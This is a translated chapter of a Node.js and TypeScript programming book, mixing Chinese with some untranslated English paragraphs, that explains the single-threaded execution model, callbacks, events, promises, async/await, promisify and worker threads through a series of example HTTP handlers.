图 4.6:在 Node.js 中处理 HTTP 请求

尽管 Node.js 可能只有一个处理线程,但由于现代服务器硬件非常快,性能可以非常出色。即便如此,单个线程并没有充分利用大多数应用程序部署的多核和多处理器硬件。

为了扩展,启动多个 Node.js 实例。HTTP 请求由负载均衡器(或入口控制器或主节点,具体取决于应用程序的部署方式,如第三部分所述)接收,并分配给 Node.js 实例,如图 4.7 所示。

图片

图 4.7:使用多个 Node.js 实例进行扩展

单个 Node.js 实例仍然只有一个 JavaScript 线程,但它们可以集体处理更高的请求量。

将 JavaScript 执行模型应用于 HTTP 请求的一个重要后果是,阻塞主线程将阻止该 Node.js 实例处理所有请求,从而产生类似于客户端 JavaScript 中可能出现的死锁。Node.js 通过两种方式帮助程序员避免阻塞主线程:一个执行许多异步任务的 API,称为 工作池,以及支持启动额外的线程来执行阻塞 JavaScript 代码,称为 工作线程。这两个特性将在接下来的章节中描述。

使用 Node.js API

Node.js 用支持常见服务器端任务(如处理 HTTP 请求和读取文件)的 API 替换了浏览器提供的 API。在幕后,Node.js 使用称为工作池的本地线程来异步执行操作。

为了演示,列表 4.10 使用 Node.js API 读取文件内容。

列表 4.10:在 src 文件夹的 handler.ts 文件中使用 Node.js API

import { IncomingMessage, ServerResponse } from "http";
**import { readFile } from "fs";**
export const handler = (req: IncomingMessage, res: ServerResponse) => {
    **readFile****("data.json", (err: Error | null, data: Buffer) => {**
 **if (err == null) {**
 **res.end(data, () => console****.log("File sent"));**
 **} else {**
 **console.log(`Error: ${err.message}`);**
 **res.statusCode = 500;**
 **res.end****();**
 **}**
 **});**
}; 

如其名所示,readFile 函数读取文件的正文。使用网页浏览器请求 http://localhost:5000,你将看到图 4.8 所示的输出。

图片

图 4.8:将文件内容发送到客户端

读取操作是异步的,并使用本地线程实现。文件内容传递给一个回调函数,该函数将它们发送到 HTTP 客户端。

代码中有三个回调函数。第一个回调是传递给 createServer 函数的,当接收到 HTTP 请求时被调用:

...
const server = createServer(**handler**);
... 

第二个回调是传递给 readFile 函数的,当文件内容被读取或发生错误时被调用:

...
export const handler = (req: IncomingMessage, res: ServerResponse) => {
    readFile("data.json", (**err: Error** **| null, data: Buffer) => {**
**if (err == null) {**
 **res.end(data, () => console.log("File sent"));**
 **} else** **{**
 **console.log(`Error: ${err.message}`);**
 **res.statusCode = 500;**
 **res.end();**
 **}**
 **});**
};
... 

我使用类型注解来帮助描述读取文件的结果的呈现方式。回调的第一个参数的类型是 Error | null,用于指示结果。如果第一个参数是 null,则操作已成功完成,文件的內容将在第二个参数中可用,其类型是 Buffer。(Buffer 是 Node.js 表示字节数组的方式。)如果第一个参数不是 null,则 Error 对象将提供阻止读取文件的问题的详细信息。

注意

当您从浏览器发送 HTTP 请求时,您可能会在命令提示符中看到两条消息。浏览器通常会请求 favicon.ico 文件以获取可以在标签页标题中显示的图标,这就是为什么您有时会在输出中看到两次出现 File sent 的原因。

当从文件中读取的数据已发送到客户端时,将调用第三个回调:

...
export const handler = (req: IncomingMessage, res: ServerResponse) => {
    readFile("data.json", (err: Error | null, data: Buffer) => {
        if (err == null) {
            res.end(data, **() => console.log("File sent")**);
        } else {
            console.log(`Error: ${err.message}`);
            res.statusCode = 500;
            res.end();
        }
    });
};
... 

使用回调分解生成 HTTP 响应的过程意味着 JavaScript 主线程不需要等待文件系统读取文件的内容,这允许处理来自其他客户端的请求,如图 4.9 所示。

图 4.9:使用多个回调分解请求处理

处理事件

事件用于提供通知,表明应用程序的状态已更改,并提供执行回调函数以处理该更改的机会。事件在 Node.js API 中被广泛使用,尽管通常有一些便利功能隐藏了细节。列表 4.11 修改了监听 HTTP 请求的代码,以直接使用事件。

列表 4.11:在 src 文件夹中的 server.ts 文件中处理事件

import { createServer } from "http";
import { handler } from "./handler";
**const port = 5000;**
**const server = createServer();**
**server.on("****request", handler)**
**server.listen(port);**
**server.on("listening", () => {**
 **console.log(`(Event) Server listening on port ${port}****`);**
**});** 

许多使用 Node.js API 创建的对象扩展了 EventEmitter 类,这表示事件源。EventEmitter 类定义了 表 4.3 中描述的方法来接收事件。

表 4.3:有用的 eventemitter 方法

名称 描述

|

`on(event, callback)` 
此方法注册一个 回调,以便在指定事件被触发时执行。

|

`off(event, callback)` 
此方法在特定事件被触发时停止调用 回调

|

`once(event, callback)` 
此方法注册一个回调,以便在指定事件被触发时执行,但之后不再执行。

扩展 EventEmitter 的类定义事件并指定它们何时被触发。由 createServer 方法返回的 Server 类扩展了 EventEmitter 并定义了在 列表 4.11 中使用的两个事件:requestlistening 事件。列表 4.7列表 4.11 中的代码具有相同的效果,唯一的区别是 createServer 函数在幕后将其函数参数注册为 request 事件的回调,而 listen 方法将其函数参数注册为 listening 事件的回调。

重要的是要理解事件是 Node.js API 的一个重要部分,并且可以直接使用 表 4.3 中描述的方法使用,或者通过其他功能间接使用。

使用承诺

承诺是回调和 Node.js API 的一些部分的替代方案。承诺与回调具有相同的目的,即定义异步操作完成后将执行的代码。不同之处在于,使用承诺编写的代码通常比使用回调编写的代码更简单。Node.js 提供承诺和回调的 API 部分之一是用于处理文件,如 列表 4.12 所示。

列表 4.12:在 src 文件夹的 handler.ts 文件中使用承诺

import { IncomingMessage, ServerResponse } from "http";
**//import { readFile } from "fs";**
**import { readFile } from** **"fs/promises";**
export const handler = (req: IncomingMessage, res: ServerResponse) => {
 **   const p: Promise<****Buffer> = readFile("data.json");**
 **p.then((data: Buffer) => res.end(data, () => console.log("****File sent")));**
 **p.catch((err: Error) => {**
 **console.log(`Error: ${err.message}`);**
 **res.statusCode = 500****;**
 **res.end();**
 **});**
**};** 

这通常不是承诺的使用方式,这就是为什么代码看起来比之前的例子更复杂。但这段代码强调了承诺的工作方式。这是创建承诺的语句:

...
const p: Promise<Buffer> = readFile("data.json");
... 

readFile 函数与用于回调的函数具有相同的名称,但它在 fs/promises 模块中定义。readFile 函数返回的结果是 Promise<Buffer>,这是一个异步操作完成后将产生 Buffer 对象的承诺。

理解何时同步方法是有用的

除了回调和承诺之外,Node.js API 的某些部分也提供了同步功能,这些功能会在完成之前阻塞主线程。一个例子是 readFileSync 函数,它执行与 readFile 相同的任务,但会阻塞执行直到文件内容被读取。

在大多数情况下,你应该使用 Node.js 提供的非阻塞功能来最大化 Node.js 可以处理的请求数量,但有两种情况下阻塞操作更有意义。第一种情况出现在你知道操作将很快完成,以至于比设置承诺或回调更快时。执行异步操作会有资源和时间成本,有时可以避免这种情况。这种情况并不常见,你应该仔细考虑潜在的性能影响。

第二种情况更为常见,那就是当你知道主线程将要执行的下一段代码将是你要执行的操作的结果时。你可以在 第六章 中看到一个例子,我在 Node.js 开始监听 HTTP 请求之前同步地读取配置文件。

承诺要么是 已解决 的,要么是 被拒绝 的。一个成功完成并产生其结果的承诺是已解决的。then 方法用于注册当承诺解决时将被调用的函数,这意味着文件已成功读取,如下所示:

...
p.**then**((data: Buffer) => res.end(data, () => console.log("File sent")));
... 

被拒绝的承诺是指发生了错误的承诺。使用 catch 方法来注册一个处理被拒绝的承诺产生的错误的函数,如下所示:

...
p.**catch**((err: Error) => {
    console.log(`Error: ${err.message}`);
    res.statusCode = 500;
    res.end();
});
... 

注意,使用承诺不会改变用于描述结果的数据类型:使用 Buffer 来描述从文件中读取的数据,使用 Error 来描述错误。

使用 thencatch 方法将成功的结果与错误分开,这与回调 API 不同,后者将两者都展示出来,并要求回调函数确定发生了什么。

thencatch 方法可以串联在一起,这是简化代码的一个小改进,如 列表 4.13 所示,并且是使用承诺的更典型方式。

列表 4.13:在 src 文件夹中的 handler.ts 文件中链式调用承诺方法

import { IncomingMessage, ServerResponse } from "http";
import { readFile } from "fs/promises";
export const handler = (req: IncomingMessage, res: ServerResponse) => {
    **readFile("data.json")**
 **.then((data: Buffer) => res.end(data, () =>** **console.log("File sent")))**
 **.catch((err: Error) => {**
 **console.log(`Error: ${err.message}`****);**
 **res.statusCode = 500;**
 **res.end();**
 **});**
}; 

这看起来更整洁,但真正的改进来自于使用 asyncawait 关键字,这使得可以使用不需要嵌套函数或链式方法的语法来执行异步操作,如 列表 4.14 所示。

列表 4.14:在 src 文件夹中的 handler.ts 文件中使用 async 和 await 关键字

import { IncomingMessage, ServerResponse } from "http";
import { readFile } from "fs/promises";
**export const handler = async (req: IncomingMessage, res: ServerResponse****) => {**
 **const data: Buffer = await readFile("data.json");**
 **res.end(data, () => console.log****("File sent"));**
**};** 

使用 asyncawait 关键字通过移除对 then 方法和其函数的需求来简化代码。async 关键字应用于处理请求的函数:

...
export const handler = **async** (req: IncomingMessage, res: ServerResponse) => {
... 

await 关键字应用于返回承诺的语句,如下所示:

**...**
**const data: Buffer = await readFile("data.json");**
**...** 

这些关键字不会改变 readFile 函数的行为,它仍然异步读取文件,并仍然返回一个 Promise<Buffer>,但 JavaScript 运行时会异步地获取由 promise 产生的结果,在这个例子中是一个 Buffer 对象,将其分配给一个名为 data 的常量,然后执行后续的语句。结果是相同的——以及获取结果的方式也是相同的——但语法更简单,更容易阅读。

这还不是代码的最终版本。为了支持错误处理,当使用 await 关键字时,将 Promise 对象上使用的 catch 方法替换为 try/catch 块,如 列表 4.15 所示。

列表 4.15:在 src 文件夹中的 handler.ts 文件中添加错误处理

import { IncomingMessage, ServerResponse } from "http";
import { readFile } from "fs/promises";
export const handler = async (req: IncomingMessage, res: ServerResponse) => {
 **try {**
        const data: Buffer = await readFile("data.json");
        res.end(data, () => console.log("File sent"));
 **} catch (err: any) {**
 **console.log(`Error: ${err?.message ?? err}****`);**
 **res.statusCode = 500;**
 **res.end();** 
 **}**
}; 

传递给 catch 异常的值的类型是 any,而不是 Error,因为 JavaScript 不限制用于表示错误的类型。

提示

与承诺相比,回调的一个优点是回调可以在同一操作中多次被调用,允许在异步工作执行期间提供一系列更新。承诺旨在产生一个单一的结果,而不提供任何中间更新。你可以在本章末尾看到一个这种差异的例子。

包装回调和展开承诺

Not every part of the Node.js API supports both promises and callbacks, and that can lead to both approaches being mixed in the same code. You can see this problem in the example, where the readFile function returns a promise, but the end method, which sends data to the client and finishes the HTTP response, uses a callback:

...
const data: Buffer = await readFile("data.json");
res.end(data, **() =>** **console.log("File sent")**);
... 

The promise and callback APIs can be mixed without problems, but the result can be awkward code. To help ensure consistency, the Node.js API includes two useful functions in the util module, which are described in Table 4.4.

表 4.4:包装回调和展开 promise 的函数

Name Description

|

`promisify` 
This function creates a Promise from a function that accepts a conventional callback. The convention is that the arguments passed to the callback are an error object and the result of the operation. There is support for other arrangements of arguments using a custom symbol – see nodejs.org/docs/latest/api/util.html#utilpromisifycustom for details.

|

`callbackify` 
This function accepts a Promise object and returns a function that will accept a conventional callback.

这些函数背后的想法是好的,但它们有一些限制,尤其是在尝试从回调创建 promise 以使用 await 关键字时。最大的限制是,除非小心处理 JavaScript 处理 this 关键字的方式,否则 promisify 函数在类方法上不会无缝工作。此外,TypeScript 也有一个特定的问题,编译器没有正确识别涉及的类型。

src 文件夹中添加一个名为 promises.ts 的文件,其内容如 列表 4.16 所示。

列表 4.16:src 文件夹中 promises.ts 文件的内容

import { ServerResponse } from "http";
import { promisify } from "util";
export const endPromise = promisify(ServerResponse.prototype.end) as
    (data: any) => Promise<void>; 

The first step is to use promisify to create a function that returns a promise, which I do by passing the ServerResponse.prototype.end function to promisify. I use the as keyword to override the type inferred by the TypeScript compiler with a description of the method parameters and result:

...
export const endPromise = promisify(ServerResponse.prototype.end) as
    **(data: any) => Promise<void>;**
... 

列表 4.17 导入了在 列表 4.16 中定义的函数,并使用了它产生的 promise。

列表 4.17:src 文件夹中 handler.ts 文件中使用 Promise

import { IncomingMessage, ServerResponse } from "http";
import { readFile } from "fs/promises";
**import { endPromise } from "./promises";**
export const handler = async (req: IncomingMessage, res: ServerResponse) => {
    try {
        const data: Buffer = await readFile("data.json");
 **await endPromise.bind(res)(data);**
 **console.log("File sent");**
    } catch (err: any) {
        console.log(`Error: ${err?.message ?? err}`);
        res.statusCode = 500;
        res.end();  
    }
}; 

当在 promisify 创建的函数上使用 await 关键字时,我必须使用 bind 方法,如下所示:

...
await endPromise.**bind(res)**(data);
... 

The bind method associates the ServerResponse object for which the function is being invoked. The result is a new function, which is invoked by passing the data that will be sent to the client:

...
await endPromise.bind(res)(**data**);
... 

The result is that the await keyword can be used instead of the callback, even though it is a slightly awkward process.

执行自定义代码

所有 JavaScript 代码都是由主线程执行的,这意味着任何不使用 Node.js 提供的非阻塞 API 的操作都会阻塞线程。为了保持一致性,将列表 4.18中显示的语句添加到promises.ts文件中,以便将ServerResponse类定义的write方法包装在一个 promise 中。

列表 4.18:在 src 文件夹中的 promises.ts 文件中添加函数

import { ServerResponse } from "http";
import { promisify } from "util";
export const endPromise = promisify(ServerResponse.prototype.end) as
    (data: any) => Promise<void>;
**export const writePromise = promisify(ServerResponse.prototype.write) as**
 **(data: any) => Promise<void>;** 

列表 4.19过滤掉了对favicon.ico文件的请求,这在早期示例中是可行的,但在这个部分会添加不需要的请求。

列表 4.19:在 src 文件夹中的 server.ts 文件中过滤请求

import { createServer } from "http";
import { handler } from "./handler";
const port = 5000;
const server = createServer();
**server.on("request", (req, res) =>** **{**
 **if (req.url?.endsWith("favicon.ico")) {**
 **res.statusCode = 404;**
 **res.end();**
 **} else {**
 **handler(req, res)**
 **}**
**});**
server.listen(port);
server.on("listening", () => {
    console.log(`(Event) Server listening on port ${port}`);
}); 

列表 4.20通过引入一个完全在 JavaScript 中实现的耗时操作,展示了线程阻塞的问题。

列表 4.20:在 src 文件夹中的 handler.ts 文件中的阻塞操作

import { IncomingMessage, ServerResponse } from "http";
**//import { readFile } from "fs/promises";**
import { endPromise, writePromise } from "./promises";
**const total = 2_000_000_000;**
**const** **iterations = 5;**
**let shared_counter = 0;**
export const handler = async (req: IncomingMessage, res: ServerResponse) => {
   ** const** **request = shared_counter++;**
 **for (let iter = 0; iter < iterations; iter++) {**
 **for (let count = 0; count < total; count++) {**
 **count++;**
 **}**
 **const msg = `Request: ${request}, Iteration: ${(iter)}`****;**
 **console.log(msg);**
 **await writePromise.bind(res)(msg + "\n");**
 **}**
 **await endPromise.bind(res)("Done");**
}; 

两个for循环反复递增一个数值,由于这个操作完全是用 JavaScript 编写的,主线程在两个循环完成之前都会被阻塞。为了看到阻塞线程的效果,打开两个浏览器标签页,并在两个标签页中请求localhost:5000。你需要在第一个请求完成之前在第二个标签页中开始请求,你可能需要调整total值来给自己留出时间。列表 4.20中的total值在我的系统上需要三到四秒才能完成,这足以在两个浏览器标签页中开始请求。

避免浏览器缓存问题

一些浏览器,包括 Chrome,不会对相同的 URL 发起并发请求。这意味着第二个浏览器标签页的请求不会开始,直到第一个标签页请求的响应被接收,这可能会让人误以为请求总是阻塞的。

浏览器这样做是为了查看第一个请求的结果是否可以添加到它们的缓存中,并用于后续请求。这通常不是问题,但它可能会令人困惑,特别是对于本章讨论的功能。

你可以通过禁用浏览器缓存(例如,Chrome 在F12开发者工具窗口的网络选项卡上有禁用缓存复选框)或请求不同的 URL 来避免这个问题,例如http://localhost:5000?id=1http://localhost:5000?id=2

你会发现两个浏览器标签页都会得到结果,如图图 4.10所示。每个请求通过递增shared_counter值来标识,这使得将浏览器中显示的输出与 Node.js 控制台消息关联起来变得容易。

图 4.10:阻塞主线程

检查 Node.js 控制台输出,你会看到第一个请求的所有迭代都在开始第二个请求的工作之前完成:

...
Request: 0, Iteration: 0
Request: 0, Iteration: 1
Request: 0, Iteration: 2
Request: 0, Iteration: 3
Request: 0, Iteration: 4
Request: 1, Iteration: 0
Request: 1, Iteration: 1
Request: 1, Iteration: 2
Request: 1, Iteration: 3
Request: 1, Iteration: 4
... 

这是一个典型的、尽管有些夸张的阻塞 JavaScript 线程的例子,使得请求排队等待处理,整体请求吞吐量下降。

释放主线程的控制权

解决阻塞的一种方法是将工作分解成更小的块,这些块与其他请求交织在一起。尽管工作仍然完全由主线程完成,但阻塞发生在一系列较短的周期中,这意味着对主线程的访问更加公平。

表 4.5 描述了可用于告诉 Node.js 在未来调用函数的函数。(与之前一样,我在这里简化了事情,以避免涉及 Node.js 事件循环的低级细节。)

表 4.5:调度函数

名称 描述

|

`setImmediate` 
此函数告诉 Node.js 将一个函数添加到回调队列中。

|

`setTimeout` 
此函数告诉 Node.js 将一个函数添加到回调队列中,该函数至少需要等待指定的毫秒数后才能被调用。

这些是 全局 函数,这意味着可以在不进行模块导入的情况下使用。列表 4.21 使用了 setImmediate 函数,以便将计数操作分解成更小的工作块。

列表 4.21:在 src 文件夹中的 handler.ts 文件中使用 setImmediate 函数

import { IncomingMessage, ServerResponse } from "http";
import { endPromise, writePromise } from "./promises";
const total = 2_000_000_000;
const iterations = 5;
let shared_counter = 0;
export const handler = async (req: IncomingMessage, res: ServerResponse) => {
    const request = shared_counter++;
    **const iterate = async (iter: number = 0) => {**
 **for (let count = 0; count < total; count++) {**
 **count++;**
 **}**
 **const msg = `Request: ${request}, Iteration: ${(iter)}`;**
 **console.log(msg);**
 **await writePromise.bind(res)(msg + "\n"****);**
 **if (iter == iterations -1) {**
 **await endPromise.bind(res)("Done");**
 **} else {**
 **setImmediate(() => iterate****(++iter));**
 **}**
 **}**
 **iterate();**
}; 

iterate 函数执行一个计数块,然后使用 setImmediate 函数延迟下一个块。使用两个浏览器标签页请求 http://localhost:5000(如果你没有禁用浏览器缓存,则请求 http://localhost:5000?id=1http://localhost:5000?id=2),你将看到由 Node.js 生成的控制台消息显示,为两个请求执行的工作已经交织在一起:

...
Request: 0, Iteration: 0
Request: 0, Iteration: 1
Request: 1, Iteration: 0
Request: 0, Iteration: 2
Request: 1, Iteration: 1
Request: 0, Iteration: 3
Request: 1, Iteration: 2
Request: 0, Iteration: 4
Request: 1, Iteration: 3
Request: 1, Iteration: 4
... 

你可能会看到不同的迭代顺序,但重要的是 HTTP 请求的工作被分解并交织在一起。

避免纯 JavaScript 承诺的陷阱

一个常见的错误是尝试将阻塞的 JavaScript 代码包裹在一个承诺(promise)中,如下所示:

`...`
`await new Promise<void>(resolve => {`
 `// executor - perform one unit of blocking work`
 `resolve();`
`}).then(() => {`
 `// follow on - set up next unit of work`
`});`
`...` 

这种方法对粗心的开发者有两个陷阱。第一个是 执行器,即执行工作的函数,是同步执行的。这看起来可能有些奇怪,但请记住,所有 JavaScript 代码都是同步执行的,预期执行器将用于调用将产生未来结果并最终添加到回调队列以进行处理的异步 API 方法。

第二个陷阱是传递给 then 方法的 后续 函数,在执行器完成时立即执行,在主线程返回回调队列以获取另一个要执行的函数之前,这导致没有工作交织。

承诺(promises)是消费使用原生线程执行异步工作的 API 的有用方式,但它们在执行纯 JavaScript 代码时并没有帮助。

使用工作线程

之前示例的关键限制是仍然只有一个主线程,并且它仍然必须完成所有工作,无论这项工作是如何公平地完成的。

Node.js 支持 工作线程,这是用于执行 JavaScript 代码的额外线程,尽管存在一些限制。JavaScript 没有像 C# 或 Java 那样用于线程协调的特性,尝试添加这些特性将会很困难。相反,工作线程在 Node.js 引擎的独立实例中运行,与主线程隔离执行代码。主线程和工作线程之间的通信是通过事件完成的,如 图 4.11 所示,这很好地融入了 JavaScript 事件循环,因此工作线程产生的结果由回调函数处理,就像任何其他 JavaScript 代码一样。

图 4.11:主线程和工作线程

工作线程并非解决所有问题的方案,因为创建和管理它们会有开销,但它们提供了一种有效的方式来执行 JavaScript 代码而不阻塞主线程。

理解工作线程与工作池

由于 Node.js 使用了两个相似的术语:工作线程工作池,因此存在术语重叠,可能会引起混淆。因为 Node.js 使用这两个术语:工作线程工作池。工作线程是本章这一部分的主题,由程序员启动以执行 JavaScript 代码而不阻塞主线程。工作池是 Node.js 用于实现其 API 异步特性的线程集合,例如本章中用于读取文件和写入 HTTP 响应的函数。您不能直接与工作池交互,它由 Node.js 自动管理。

为了增加混淆,出于性能原因,工作线程通常被分组到一个池中,允许单个工作线程被重复使用,而不是使用一次后丢弃。我将在 第二部分 中解释如何做到这一点。

编写工作线程代码

工作线程执行的代码与 JavaScript 应用程序的其他部分定义是分开的。在 src 文件夹中添加一个名为 count_worker.ts 的文件,其内容如 清单 4.22 所示。

清单 4.22:src 文件夹中 count_worker.ts 文件的内容

import { workerData, parentPort  } from "worker_threads";
console.log(`Worker thread ${workerData.request} started`);
for (let iter = 0; iter < workerData.iterations; iter++) {
    for (let count = 0; count < workerData.total; count++) {
        count++;
    }
    parentPort?.postMessage(iter);
}
console.log(`Worker thread ${workerData.request} finished`); 

工作线程的特性定义在 worker_threads 模块中,其中两个特性在 清单 4.22 中被使用。第一个,workerData,是一个对象或值,用于从主线程传递配置数据到工作线程。在这种情况下,工作线程通过 workerData 接收三个值,分别指定请求 ID、迭代次数以及每个计数工作块的目标值:

...
console.log(`Worker thread ${**workerData.request**} started`);
for (let iter = 0; iter < **workerData.iterations**; iter++) {
    for (let count = 0; count < **workerData.total**; count++) {
... 

另一个特性是 parentPort,它用于发出主线程将接收的事件,如下所示:

...
parentPort?.**postMessage**(iter);
... 

postMessage 方法会触发一个消息事件,并负责将工作线程的 JavaScript 运行时中的参数值传输到主线程。parentPort 的值可能是 null,这就是为什么在调用 postMessage 方法时需要使用 ? 操作符。

创建工作线程

下一步是更新请求处理代码,以便使用上一节中定义的代码创建工作线程,如列表 4.23所示。

列表 4.23:在 src 文件夹中的 handler.ts 文件中使用工作线程

import { IncomingMessage, ServerResponse } from "http";
import { endPromise, writePromise } from "./promises";
**import { Worker } from "worker_threads";**
const total = 2_000_000_000;
const iterations = 5;
let shared_counter = 0;
export const handler = async (req: IncomingMessage, res: ServerResponse) => {
    const request = shared_counter++;

 **const worker = new Worker(__dirname + "/count_worker.js", {**
 **workerData: {**
 **iterations,**
 **total,**
 **request**
 **}**
 **});**
 **worker.on("message",** **async (iter: number) => {**
 **const msg = `Request: ${request}, Iteration: ${(iter)}`;**
 **console.log(msg);**
 **await writePromise.bind(res)(msg + "****\n");**
 **});**
 **worker.on("exit", async (code: number) => {**
 **if (code == 0) {**
 **await endPromise.bind(res)("****Done");**
 **} else {**
 **res.statusCode = 500;**
 **await res.end();**
 **}**
 **});**
 **worker.on("error", async (err) => {**
 **console.****log(err)**
 **res.statusCode = 500;**
 **await res.end();** 
 **});**
}; 

工作线程通过实例化Worker类创建,该类在worker_threads模块中定义。构造函数的参数是要执行的 JavaScript 代码文件和一个配置对象:

...
const worker = new **Worker**(__dirname + "/count_worker.js", {
    workerData: {
        iterations,
        total,
        request
    }
});
... 

Node.js 提供了两个全局值,它们提供了关于当前模块的路径信息,并且对于指定文件路径很有用,这些信息在表 4.6中描述,以便快速参考。要指定列表 4.22中创建的代码文件,我将__dirname值与编译后的 JavaScript 文件名(而不是 TypeScript 文件,它不能直接由 Node.js 执行)结合起来。

表 4.6:当前模块的全局值

名称 描述

|

`__filename` 
此值包含当前模块的文件名。请记住,这将是指 JavaScript 文件的名称,而不是 TypeScript 文件。

|

`__dirname` 
此值包含包含当前模块的目录的名称。请记住,这将包含编译后的 JavaScript 文件而不是 TypeScript 文件的目录。

传递给Worker构造函数的配置对象支持管理工作线程执行方式的配置设置,但本例中所需的唯一选项是workerData,它允许定义工作线程使用的数据值。

提示

有关其他工作配置选项,请参阅nodejs.org/docs/latest/api/worker_threads.html#new-workerfilename-options,尽管其他选项很少需要。

工作线程通过发出事件与主线程进行通信,这些事件由on方法注册的函数处理,如下所示:

...
worker.**on**("message", async (iter: number) => {
    const msg = `Request: ${request}, Iteration: ${(iter)}`;
    console.log(msg);
    await writePromise.bind(res)(msg + "\n");
});
... 

on方法的第一个参数是一个字符串,指定了将要处理的事件的名称。此处理程序用于message事件,当工作线程使用parentPort.postMessage方法时发出。在这个例子中,message事件表示工作线程完成了一次计数迭代。

本例中还处理了两个其他事件。exit事件由 Node.js 在工作线程完成时触发,该事件提供了一个退出代码,指示工作线程是否正常完成或因错误而终止。还有一个error事件,如果工作线程执行的 JavaScript 代码抛出未捕获的异常,则会发送该事件。

使用两个浏览器标签请求http://localhost:5000(如果你没有禁用浏览器缓存,则可以是http://localhost:5000?id=1http://localhost:5000?id=2),你将看到 Node.js 控制台消息显示请求重叠时进行的计算,如下所示:

...
Worker thread 0 started
Request: 0, Iteration: 0
Request: 0, Iteration: 1
Worker thread 1 started
Request: 0, Iteration: 2
Request: 1, Iteration: 0
Request: 0, Iteration: 3
Request: 1, Iteration: 1
Request: 0, Iteration: 4
Worker thread 0 finished
Request: 1, Iteration: 2
Request: 1, Iteration: 3
Request: 1, Iteration: 4
Worker thread 1 finished
... 

与早期示例的重要区别在于,请求的工作是在并行执行的,而不是所有的工作都在单个线程上执行。

将工作线程打包到回调中

清单 4.23 中的代码可以被封装,使其与 Node.js API 保持一致,使用回调。对于回调,将一个名为 counter_cb.ts 的文件添加到 src 文件夹中,其内容如 清单 4.24 所示。

清单 4.24:src 文件夹中 counter_cb.ts 文件的内容

import { Worker } from "worker_threads";
export const Count = (request: number, iterations: number, total: number,
        callback: (err: Error | null, update: number | boolean) => void) => {
    const worker = new Worker(__dirname + "/count_worker.js", {
        workerData: {
            iterations,
            total,
            request
        }
    });

    worker.on("message", async (iter: number) => {
        callback(null, iter);
    });

    worker.on("exit", async (code: number) => {
        callback(code === 0 ? null : new Error(), true);
    });

    worker.on("error", async (err) => {
        callback(err, true);
    });       
} 

Count 函数接受描述要执行的工作的参数,以及一个回调函数,该函数将在出现错误、迭代完成以及所有工作都完成时被调用。清单 4.25 更新了请求处理代码以使用 Count 函数。

清单 4.25:在 src 文件夹中的 handler.ts 文件中使用回调函数

import { IncomingMessage, ServerResponse } from "http";
import { endPromise, writePromise } from "./promises";
**//import { Worker } from "worker_threads";**
**import { Count } from "./counter_cb";**
const total = 2_000_000_000;
const iterations = 5;
let shared_counter = 0;
export const handler = async (req: IncomingMessage, res: ServerResponse) => {
    const request = shared_counter++;
    C**ount****(request, iterations, total, async (err, update) => {**
 **if (err !== null) {**
 **console.log(err)**
 **res.statusCode = 500;**
 **await res.end();** 
 **} else** **if (update !== true) {**
 **const msg = `Request: ${request}, Iteration: ${(update)}`;**
 **console.log(msg);**
 **await writePromise.bind****(res)(msg + "\n");**
 **} else {**
 **await endPromise.bind(res)("Done");** 
 **}**
 **});**
}; 

此示例产生的结果与上一个示例相同,但与大多数 Node.js API 更为一致,其关键部分将在接下来的章节中描述。

将工作线程打包到承诺中

工作线程也可以被封装在一个承诺中,尽管承诺不像回调那样适合接收中间更新,因此使用承诺只有在所有工作都完成或出现问题时才会产生结果。将一个名为 count_promise.ts 的文件添加到 src 文件夹中,其内容如 清单 4.26 所示。

注意

使用承诺可以产生中间更新,但这需要生成一系列承诺,这些承诺需要在循环中使用 await 关键字。结果是代码混乱,不符合承诺通常的行为,最好避免。如果需要从工作线程中获取中间更新,请使用回调。

清单 4.26:src 文件夹中 count_promise.ts 文件的内容

import { Worker } from "worker_threads";
export const Count = (request: number,
        iterations: number, total: number) : Promise<void> => {
    return new Promise<void>((resolve, reject) => {
        const worker = new Worker(__dirname + "/count_worker.js", {
            workerData: {
                iterations, total, request
            }
        });
        worker.on("message", (iter) => {
            const msg = `Request: ${request}, Iteration: ${(iter)}`;           
            console.log(msg);           
        });
       worker.on("exit", (code) => {
            if (code !== 0) {
                reject();
            } else {
                resolve();
            }
        });

       worker.on("error", reject);       
    });
} 

Count 函数返回一个 Promise<void>,其执行器启动一个工作线程并设置处理它发出的事件的处理器。处理 exiterror 事件的函数解决或拒绝承诺,这将表示承诺已完成或抛出异常。message 事件的处理器将输出控制台消息以显示进度,但不会影响承诺的结果。清单 4.27 修订了请求处理器以使用基于承诺的 Count 函数版本。

清单 4.27:在 src 文件夹中的 handler.ts 文件中使用承诺

import { IncomingMessage, ServerResponse } from "http";
import { endPromise, writePromise } from "./promises";
**//import { Count } from "./counter_cb";**
**import { Count } from "./count_promise";**
const total = 2_000_000_000;
const iterations = 5;
let shared_counter = 0;
export const handler = async (req: IncomingMessage, res: ServerResponse) => {
    const request = shared_counter++;
  **try {**
 **await Count(request, iterations, total);**
 **const msg = `Request: ${request}, Iterations: ${(iterations)}`;**
 **await writePromise.bind(res)(msg + "\n");**
**await endPromise.bind(res)("Done");**
 **} catch (err: any) {**
 **console.log(err);**
 **res.statusCode = 500;**
 **res.end();**
 **}**
}; 

这与早期示例类似,但发送给客户端的响应不包括每个工作块结束时生成的任何消息,如图 图 4.12 所示。

图片

图 4.12:承诺封装的工作线程的结果

摘要

在本章中,我描述了 JavaScript 代码的执行方式,并解释了这对 HTTP 请求处理的影响以及为什么这种方法与其他平台不同。我解释了 JavaScript 代码是在单个主线程上执行的,并展示了 Node.js 为在其他线程上卸载工作提供的功能。

  • JavaScript 代码是在单个线程上执行的,这个线程被称为主线程

  • Node.js API 使用原生线程来执行许多操作,以避免阻塞主线程

  • Node.js API 主要使用回调,但也提供了一些对承诺(promises)的支持

  • Node.js 提供了将回调和承诺进行转换的函数

  • Node.js 支持使用工作线程(worker threads)来执行 JavaScript 代码,而不会阻塞主线程

在下一章中,我将描述 Node.js 为处理 HTTP 请求提供的功能

第五章:处理 HTTP 请求

服务器端 Web 开发的基础是能够从客户端接收 HTTP 请求并生成响应。在本章中,我介绍了用于创建 HTTP 服务器的 Node.js API,并解释了如何使用它来接收和响应请求。表 5.1 将 Node.js HTTP API 放置在上下文中。

表 5.1:将 Node.js API 放置在上下文中

问题 答案
它是什么? httphttps 模块包含创建 HTTP 和 HTTPS 服务器、接收请求和生成响应所需的函数和类。
为什么它有用? 接收和响应 HTTP 请求是服务器端 Web 应用程序开发的核心功能。
如何使用它? 使用 createServer 函数创建服务器,当收到请求时,会触发事件。回调函数被调用以处理请求并生成响应。
有没有陷阱或限制? 处理函数可能会变得复杂,并将匹配请求的语句与生成响应的语句混合。本章中介绍的 Express 包等第三方包建立在 Node.js API 之上,以简化请求处理。
